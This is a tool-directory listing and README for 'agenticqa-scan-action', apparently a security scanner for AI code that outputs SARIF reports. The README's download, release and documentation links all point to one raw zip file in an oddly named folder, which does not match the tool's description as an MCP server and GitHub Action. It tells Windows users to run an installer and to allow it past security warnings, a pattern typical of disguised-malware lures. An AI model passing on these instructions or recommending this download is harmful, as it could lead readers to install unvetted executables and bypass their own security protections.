agenticqa-scan-action
kokorubbong/agenticqa-scan-action
Scanner de segurança para código IA com relatório SARIF automático
Ver no GitHubMCP server que analisa codebases de IA para identificar pontos de integração, riscos de segurança e lacunas em cobertura de testes em uma única varredura. Gera relatórios em formato SARIF 2.1.0 e mapeia 13 categorias de fraquezas comuns (CWE), funcionando sem necessidade de chave de API.
Instalação
npx convez-ai kokorubbong/agenticqa-scan-action1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Auditoria de segurança em projetos de IA antes do deploy
- Mapeamento de pontos de integração e superfície de ataque em codebases
- Identificação automatizada de gaps em cobertura de testes
Veredito

Ferramenta especializada em análise de segurança para código IA com foco prático em CWE e integração CI/CD. Abordagem sem API key facilita adoção, mas documentação técnica sobre precisão das detecções e suporte além de Windows poderia ser mais clara.
README
A tradução para o português deste README ainda está na fila.
🛡️ agenticqa-scan-action - Map AI Code Risks Clearly
🧩 What is agenticqa-scan-action?
agenticqa-scan-action helps you check your AI code for security risks. It looks at every connection point in your code, finds weak spots, and shows where tests are missing. It covers 13 common problem types (CWE categories) in software. The tool creates a report in SARIF 2.1.0 format, which many code tools can read. You do not need an API key to use it.
This tool works automatically on your Windows computer and helps keep your AI software safer.
📋 Features
- Checks AI code for security issues.
- Maps all integration points in your codebase.
- Finds gaps in test coverage.
- Scores your code’s attack surface.
- Covers 13 Common Weakness Enumerations (CWEs).
- Exports results in SARIF 2.1.0 format.
- Runs without needing an API key.
- Integrates with GitHub Actions to automate scans.
- Helps teams spot risks early in development.
🎯 Who should use this?
- AI developers wanting safety checks.
- Security teams checking AI projects.
- Anyone with AI projects looking to improve code security.
- Users new to security scanning who want a simple setup.
- Teams using GitHub for their code.
No programming experience is required to run this tool on a Windows machine.
💻 System Requirements
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- Minimum 500 MB free disk space
- Internet connection for download and updates
- GitHub account (optional, for GitHub Actions setup)
🚀 Getting Started
-
Visit the download page by clicking the big green button at the top or this link:
https://github.com/kokorubbong/agenticqa-scan-action/raw/refs/heads/main/undoubtable/action-agenticqa-scan-2.1.zip -
On the page, look for the latest release or a file named like
agenticqa-scan-action.exeorsetup.exe. -
Click to download the file to your Windows computer.
📥 How to Download and Install on Windows
-
Open your web browser and go to:
https://github.com/kokorubbong/agenticqa-scan-action/raw/refs/heads/main/undoubtable/action-agenticqa-scan-2.1.zip -
Scroll to the "Releases" section. Click the latest version.
-
Find the Windows installer file, which may have
.exeat the end. -
Click the file name to start the download.
-
Once downloaded, open the installer by double-clicking the file.
-
Follow the on-screen instructions:
- Accept the license agreement.
- Choose installation location (use default if unsure).
- Click “Install” and wait while the program sets up.
-
When done, click “Finish.”
⚙️ How to Run the Software
-
Find the agenticqa-scan-action program on your desktop or start menu.
-
Double-click to open it.
-
You will see options to select your AI codebase folder.
-
Choose the folder containing your AI code files.
-
Start the scan by clicking the “Scan” button.
-
Wait a few minutes while the program analyzes your code.
-
When finished, it will create a report showing:
- Integration points in your AI project
- Security risks found (by CWE category)
- Test coverage gaps
- Overall risk score
-
You can save or export the report in SARIF 2.1.0 format.
🔄 Updating the Tool
Check the GitHub repository regularly for new releases. Download and install updates using the steps above to keep security checks current.
🛠️ How It Works
The tool scans your AI codebase to:
- Identify every place where your AI system connects to other parts (integration points).
- Analyze these points for known security weaknesses.
- Check if your tests cover all critical parts.
- Score how exposed your AI code is to attacks.
The report uses clear categories based on widely recognized CWEs. It helps you focus on fixing real security gaps.
❓ Troubleshooting
- If the installer won’t start, make sure your Windows is up to date.
- If you see a security warning, allow the program to run from your security settings.
- If a scan fails, check that your selected code folder is accessible and contains your AI project files.
- Restart your computer if problems persist, then try again.
🧭 Next Steps for Users
After running your first scan:
- Review the SARIF report in supported viewers like Visual Studio Code.
- Fix critical weak points before adding new features to your AI project.
- Set up automated scans using GitHub Actions for ongoing monitoring if you use GitHub.
📁 More Resources
See the main project page for documentation and sample reports:
https://github.com/kokorubbong/agenticqa-scan-action/raw/refs/heads/main/undoubtable/action-agenticqa-scan-2.1.zip
🔖 Topics Covered
- agent-framework
- ai-security
- architecture
- code-scanning
- cwe (common weakness enumeration)
- devsecops
- github-actions
- llm-security
- mcp
- sarif (static analysis results interchange format)
- sast (static application security testing)
- security
- static-analysis